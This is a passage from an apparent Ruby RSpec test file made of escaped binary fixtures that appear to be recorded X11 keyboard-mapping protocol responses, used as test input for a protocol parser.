"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x83\x03\x04\x01\x08\x0e\x01\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x01\x02\x01\x02\x00\x00\x00\x00\x01\x80\x02\x00\x04\x00\x00\x00" \ + "\x01\x81\x03\x01\x04\x00\x00\x00\x01\x82\x02\x02\x04\x00\x00\x00" \ + "\x01\x83\x03\x03\x04\x00\x00\x00\x00\x00\x04\x00\x00\x01\x00\x00" \ + "\x00\x01\x05\x01\x00\x01\x00\x00\x00\x02\x05\x02\x00\x01\x00\x00" \ + "\x00\x03\x05\x03\x00\x01\x00\x00\x01\x80\x06\x00\x04\x01\x00\x00" \ + "\x01\x81\x07\x01\x04\x01\x00\x00\x01\x82\x06\x02\x04\x01\x00\x00" \ + "\x01\x83\x07\x03\x04\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00\x02\x02\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00\x02\x02\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00\x02\x02\x00\x00" \ + "\x81\x01\x04\x00\x04\x03\x00\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x01\x80\x02\x00\x04\x00\x00\x00\x01\x81\x03\x01\x04\x00\x00\x00" \ + "\x83\x03\x04\x00\x04\x06\x00\x00\x01\x01\x01\x01\x00\x00\x00\x00" \ + "\x01\x02\x01\x02\x00\x00\x00\x00\x01\x80\x02\x00\x04\x00\x00\x00" \ + "\x01\x81\x03\x01\x04\x00\x00\x00\x01\x82\x03\x02\x04\x00\x00\x00" \ + "\x01\x83\x02\x03\x04\x00\x00\x00\x83\x03\x04\x00\x04\x06\x01\x00" \ + "\x01\x01\x01\x01\x00\x00\x00\x00\x01\x02\x01\x02\x00\x00\x00\x00" \ + "\x01\x80\x02\x00\x04\x00\x00\x00\x01\x81\x03\x01\x04\x00\x00\x00" \ + "\x01\x82\x02\x02\x04\x00\x00\x00\x01\x83\x03\x03\x04\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x02\x02\x00\x00\x02\x02\x00\x00\x91\x01\x05\x00\x04\x07\x00\x00" \ + "\x01\x11\x00\x01\x01\x00\x00\x00\x01\x10\x01\x00\x01\x00\x00\x00" \ + "\x01\x01\x01\x01\x00\x00\x00\x00\x01\x80\x02\x00\x04\x00\x00\x00" \ + "\x01\x90\x02\x00\x05\x00\x00\x00\x01\x81\x03\x01\x04\x00\x00\x00" \ + "\x01\x91\x03\x01\x05\x00\x00\x00\x8d\x05\x06\x00\x04\x03\x00\x00" \ + "\x01\x80\x01\x00\x04\x00\x00\x00\x01\x81\x02\x01\x04\x00\x00\x00" \ + "\x01\x0c\x03\x04\x02\x00\x00\x00\x83\x03\x04\x00\x04\x06\x01\x00" \ + "\x01\x01\x01\x01\x00\x00\x00\x00\x01\x02\x03\x02\x00\x00\x00\x00" \ + "\x01\x80\x02\x00\x04\x00\x00\x00\x01\x81\x03\x01\x04\x00\x00\x00" \ + "\x01\x82\x02\x02\x04\x00\x00\x00\x01\x83\x02\x03\x04\x00\x00\x00" \ + "\x00\x00\x00\x00\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x02\x02\x00\x00\x00\x00\x00\x00\x83\x03\x04\x00\x05\x07\x00\x00" \ + "\x01\x01\x01\x01\x00\x00\x00\x00\x01\x80\x02\x00\x04\x00\x00\x00" \ + "\x01\x81\x03\x01\x04\x00\x00\x00\x01\x02\x04\x02\x00\x00\x00\x00" \ + "\x01\x03\x01\x03\x00\x00\x00\x00\x01\x82\x02\x02\x04\x00\x00\x00" \ + "\x01\x83\x03\x03\x04\x00\x00\x00\x91\x01\x05\x00\x04\x06\x00\x00" \ + "\x01\x01\x01\x01\x00\x00\x00\x00\x01\x10\x01\x00\x01\x00\x00\x00" \ + "\x01\x80\x02\x00\x04\x00\x00\x00\x01\x81\x03\x01\x04\x00\x00\x00" \ + "\x01\x90\x03\x00\x05\x00\x00\x00\x01\x91\x02\x01\x05\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x1b\xff\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x31\x00\x00\x00" \ + "\x21\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x32\x00\x00\x00" \ + "\x40\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x33\x00\x00\x00" \ + "\x23\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x34\x00\x00\x00" \ + "\x24\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x35\x00\x00\x00" \ + "\x25\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x36\x00\x00\x00" \ + "\x5e\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x37\x00\x00\x00" \ + "\x26\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x38\x00\x00\x00" \ + "\x2a\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x39\x00\x00\x00" \ + "\x28\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x30\x00\x00\x00" \ + "\x29\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x2d\x00\x00\x00" \ + "\x5f\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x3d\x00\x00\x00" \ + "\x2b\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x08\xff\x00\x00" \ + "\x08\xff\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x09\xff\x00\x00" \ + "\x20\xfe\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x71\x00\x00\x00" \ + "\x51\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x77\x00\x00\x00" \ + "\x57\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x65\x00\x00\x00" \ + "\x45\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x72\x00\x00\x00" \ + "\x52\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x74\x00\x00\x00" \ + "\x54\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x79\x00\x00\x00" \ + "\x59\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x75\x00\x00\x00" \ + "\x55\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x69\x00\x00\x00" \ + "\x49\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x6f\x00\x00\x00" \ + "\x4f\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00\x70\x00\x00\x00" \ + "\x50\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x5b\x00\x00\x00" \ + "\x7b\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\x5d\x00\x00\x00" \ + "\x7d\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x0d\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\xe3\xff\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x61\x00\x00\x00\x41\x00\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x73\x00\x00\x00\x53\x00\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x64\x00\x00\x00\x44\x00\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x66\x00\x00\x00\x46\x00\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x67\x00\x00\x00\x47\x00\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x68\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x6a\x00\x00\x00\x4a\x00\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x6b\x00\x00\x00\x4b\x00\x00\x00\x02\x00\x00\x00" \ + "\x01\x02\x02\x00\x6c\x00\x00\x00\x4c\x00\x00\x00\x01\x00\x00\x00" \ + "\x01\x02\x02\x00\x3b\x00\x00\x00\x3a\x00\x00\x00\x01\x00\x00\x00" \ + "\x01\x02\x02\x00\x27\x00\x00\x00\x22\x00\x00\x00\x01\x00\x00\x00" \ + "\x01\x02\x02\x00\x60\x00\x00\x00\x7e\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\xe1\xff\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00" \ + "\x5c\x00\x00\x00\x7c\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00" \ + "\x7a\x00\x00\x00\x5a\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00" \ + "\x78\x00\x00\x00\x58\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00" \ + "\x63\x00\x00\x00\x43\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00" \ + "\x76\x00\x00\x00\x56\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00" \ + "\x62\x00\x00\x00\x42\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00" \ + "\x6e\x00\x00\x00\x4e\x00\x00\x00\x02\x00\x00\x00\x01\x02\x02\x00" \ + "\x6d\x00\x00\x00\x4d\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00" \ + "\x2c\x00\x00\x00\x3c\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00" \ + "\x2e\x00\x00\x00\x3e\x00\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00" \ + "\x2f\x00\x00\x00\x3f\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\xe2\xff\x00\x00\x0c\x00\x00\x00\x01\x05\x05\x00\xaa\xff\x00\x00" \ + "\xaa\xff\x00\x00\xaa\xff\x00\x00\xaa\xff\x00\x00\x21\xfe\x08\x10" \ + "\x01\x00\x00\x00\x01\x02\x02\x00\xe9\xff\x00\x00\xe7\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x20\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\xe5\xff\x00\x00\x0c\x00\x00\x00\x01\x05\x05\x00" \ + "\xbe\xff\x00\x00\xbe\xff\x00\x00\xbe\xff\x00\x00\xbe\xff\x00\x00" \ + "\x01\xfe\x08\x10\x0c\x00\x00\x00\x01\x05\x05\x00\xbf\xff\x00\x00" \ + "\xbf\xff\x00\x00\xbf\xff\x00\x00\xbf\xff\x00\x00\x02\xfe\x08\x10" \ + "\x0c\x00\x00\x00\x01\x05\x05\x00\xc0\xff\x00\x00\xc0\xff\x00\x00" \ + "\xc0\xff\x00\x00\xc0\xff\x00\x00\x03\xfe\x08\x10\x0c\x00\x00\x00" \ + "\x01\x05\x05\x00\xc1\xff\x00\x00\xc1\xff\x00\x00\xc1\xff\x00\x00" \ + "\xc1\xff\x00\x00\x04\xfe\x08\x10\x0c\x00\x00\x00\x01\x05\x05\x00" \ + "\xc2\xff\x00\x00\xc2\xff\x00\x00\xc2\xff\x00\x00\xc2\xff\x00\x00" \ + "\x05\xfe\x08\x10\x0c\x00\x00\x00\x01\x05\x05\x00\xc3\xff\x00\x00" \ + "\xc3\xff\x00\x00\xc3\xff\x00\x00\xc3\xff\x00\x00\x06\xfe\x08\x10" \ + "\x0c\x00\x00\x00\x01\x05\x05\x00\xc4\xff\x00\x00\xc4\xff\x00\x00" \ + "\xc4\xff\x00\x00\xc4\xff\x00\x00\x07\xfe\x08\x10\x0c\x00\x00\x00" \ + "\x01\x05\x05\x00\xc5\xff\x00\x00\xc5\xff\x00\x00\xc5\xff\x00\x00" \ + "\xc5\xff\x00\x00\x08\xfe\x08\x10\x0c\x00\x00\x00\x01\x05\x05\x00" \ + "\xc6\xff\x00\x00\xc6\xff\x00\x00\xc6\xff\x00\x00\xc6\xff\x00\x00" \ + "\x09\xfe\x08\x10\x0c\x00\x00\x00\x01\x05\x05\x00\xc7\xff\x00\x00" \ + "\xc7\xff\x00\x00\xc7\xff\x00\x00\xc7\xff\x00\x00\x0a\xfe\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x7f\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x14\xff\x00\x00\x03\x00\x00\x00\x01\x02\x02\x00" \ + "\x95\xff\x00\x00\xb7\xff\x00\x00\x03\x00\x00\x00\x01\x02\x02\x00" \ + "\x97\xff\x00\x00\xb8\xff\x00\x00\x03\x00\x00\x00\x01\x02\x02\x00" \ + "\x9a\xff\x00\x00\xb9\xff\x00\x00\x0c\x00\x00\x00\x01\x05\x05\x00" \ + "\xad\xff\x00\x00\xad\xff\x00\x00\xad\xff\x00\x00\xad\xff\x00\x00" \ + "\x23\xfe\x08\x10\x03\x00\x00\x00\x01\x02\x02\x00\x96\xff\x00\x00" \ + "\xb4\xff\x00\x00\x03\x00\x00\x00\x01\x02\x02\x00\x9d\xff\x00\x00" \ + "\xb5\xff\x00\x00\x03\x00\x00\x00\x01\x02\x02\x00\x98\xff\x00\x00" \ + "\xb6\xff\x00\x00\x0c\x00\x00\x00\x01\x05\x05\x00\xab\xff\x00\x00" \ + "\xab\xff\x00\x00\xab\xff\x00\x00\xab\xff\x00\x00\x22\xfe\x08\x10" \ + "\x03\x00\x00\x00\x01\x02\x02\x00\x9c\xff\x00\x00\xb1\xff\x00\x00" \ + "\x03\x00\x00\x00\x01\x02\x02\x00\x99\xff\x00\x00\xb2\xff\x00\x00" \ + "\x03\x00\x00\x00\x01\x02\x02\x00\x9b\xff\x00\x00\xb3\xff\x00\x00" \ + "\x03\x00\x00\x00\x01\x02\x02\x00\x9e\xff\x00\x00\xb0\xff\x00\x00" \ + "\x03\x00\x00\x00\x01\x02\x02\x00\x9f\xff\x00\x00\xae\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x03\xfe\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x14\x00\x00\x00\x01\x04\x04\x00\x3c\x00\x00\x00" \ + "\x3e\x00\x00\x00\x7c\x00\x00\x00\xa6\x00\x00\x00\x0c\x00\x00\x00" \ + "\x01\x05\x05\x00\xc8\xff\x00\x00\xc8\xff\x00\x00\xc8\xff\x00\x00" \ + "\xc8\xff\x00\x00\x0b\xfe\x08\x10\x0c\x00\x00\x00\x01\x05\x05\x00" \ + "\xc9\xff\x00\x00\xc9\xff\x00\x00\xc9\xff\x00\x00\xc9\xff\x00\x00" \ + "\x0c\xfe\x08\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x26\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x25\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x23\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x27\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x22\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x8d\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\xe4\xff\x00\x00\x0c\x00\x00\x00\x01\x05\x05\x00" \ + "\xaf\xff\x00\x00\xaf\xff\x00\x00\xaf\xff\x00\x00\xaf\xff\x00\x00" \ + "\x20\xfe\x08\x10\x09\x00\x00\x00\x01\x02\x02\x00\x61\xff\x00\x00" \ + "\x15\xff\x00\x00\x01\x00\x00\x00\x01\x02\x02\x00\xea\xff\x00\x00" \ + "\xe8\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x0a\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x50\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x52\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x55\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x51\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x53\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x57\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x54\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x56\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x63\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x12\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x11\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x13\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x2a\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\xbd\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\xb1\x00\x00\x00\x06\x00\x00\x00\x01\x02\x02\x00" \ + "\x13\xff\x00\x00\x6b\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x4a\xff\x08\x10\x03\x00\x00\x00\x01\x02\x02\x00\xae\xff\x00\x00" \ + "\xae\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x31\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x34\xff\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\xeb\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\xec\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x67\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x69\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x66\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x70\xff\x05\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x65\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x71\xff\x05\x10\x00\x00\x00\x00\x01\x01\x01\x00\x57\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x6b\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x6d\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x68\xff\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x58\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x6a\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x65\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x1d\xff\x08\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x2f\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x2b\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x5d\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x7b\xff\x08\x10\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x8a\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x41\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x42\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x2e\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x5a\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x2d\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x74\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x7f\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x19\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x30\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x33\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x26\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x27\xff\x08\x10" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x2c\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x2c\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x17\xff\x08\x10\x01\x00\x00\x00" \ + "\x01\x02\x02\x00\x14\xff\x08\x10\x31\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x16\xff\x08\x10\x01\x00\x00\x00\x01\x02\x02\x00" \ + "\x15\xff\x08\x10\x2c\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x1c\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x3e\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x6e\xff\x08\x10\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x81\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x18\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x73\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x56\xff\x08\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x78\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x79\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x28\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x29\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x68\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x66\xff\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x81\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x45\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x46\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x47\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x48\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x49\xff\x08\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\xb2\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\xa9\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\xb0\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\xb1\xff\x08\x10\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x7e\xff\x00\x00" \ + "\x01\x00\x00\x00\x01\x02\x02\x00\x00\x00\x00\x00\xe9\xff\x00\x00" \ + "\x01\x00\x00\x00\x01\x02\x02\x00\x00\x00\x00\x00\xe7\xff\x00\x00" \ + "\x01\x00\x00\x00\x01\x02\x02\x00\x00\x00\x00\x00\xeb\xff\x00\x00" \ + "\x01\x00\x00\x00\x01\x02\x02\x00\x00\x00\x00\x00\xed\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x14\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x31\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x43\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x44\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x4b\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\xa7\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x56\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x14\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x97\xff\x08\x10\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x61\xff\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x8f\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\xb6\xff\x08\x10" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x19\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x8e\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x1b\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x5f\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x3c\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x5e\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x36\xff\x08\x10\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x69\xff\x00\x00" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x03\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x02\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x32\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x59\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x04\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x06\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x05\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x7b\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x72\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x90\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x77\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x5b\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x93\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\x94\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x95\xff\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x96\xff\x08\x10" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\x22\xfe\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\x23\xfe\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\x07\xff\x08\x10\x00\x00\x00\x00" \ + "\x01\x01\x01\x00\xf4\x10\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00" \ + "\xf5\x10\x08\x10\x00\x00\x00\x00\x01\x01\x01\x00\xb4\xff\x08\x10" \ + "\x00\x00\x00\x00\x01\x01\x01\x00\xb5\xff\x08\x10\x25\x04\x32\x01" \ + "\x3e\x01\x40\x08\x42\x02\x4d\x10\x5c\x80\x69\x04\x6c\x08\x85\x40" \ + "\x86\x40\xcb\x80\xcd\x08\xce\x40\xcf\x40\x00\x00" + end + + let(:get_keyboardmap_resp_2) do + "\001\003\a\000C\005\000\000\000\000\b\377\a\000\000\034\034\bo\001" \ + "\370\000\000\000\000\000\000\000\000\000\000\b\370\017\000\000\000" \ + "\000\000\000\000\000\000\000\001\000\000\000\001\001\000\000\002\001" \ + "\000\000\001\001\001\001\000\000\000\000\003\003\000\000\002\002\000" \ + "\000\001\001\001\001\000\000\000\000\001\002\001\002\000\000\000\000" \ + "\021\001\001\000\002\001\000\000\001\020\001\000\001\000\000\000\t" \ + "\001\002\000\002\001\000\000\001\t\001\001\002\000\000\000@@\000\000" \ + "\002\001\000\000\001@\001@\000\000\000\000\004\004\000\000\002\001" \ + "\000\000\001\004\001\004\000\000\000\000\000\000@\000\002\001\000" \ + "\000\000\000\001\000@\000\000\000\000\000 \000\002\001\000\000\000" \ + "\000\001\000 \000\000\000\b\000\002\000\002\001\000\000\001\b\001" \ + "\000\002\000\000\000\000\000\b\000\002\001\000\000\000\000\001\000" \ + "\b\000\000\000\000\000\020\000\002\001\000\000\000\000\001\000\020" \ + "\000\000\000\215\005\006\000\005\004\001\000\001\001\001\001\000\000" \ + "\000\000\001\200\002\000\004\000\000\000\001\201\003\001\004\000\000" \ + "\000\001\f\004\004\002\000\000\000\001\001\000\000\000\000\000\000\001" \ + "\001\000\000\000\000\000\000\207\a\004\000\b\016\000\000\001\001\001\001" \ + "\000\000\000\000\001\002\001\002\000\000\000\000\001\200\002\000\004\000" \ + 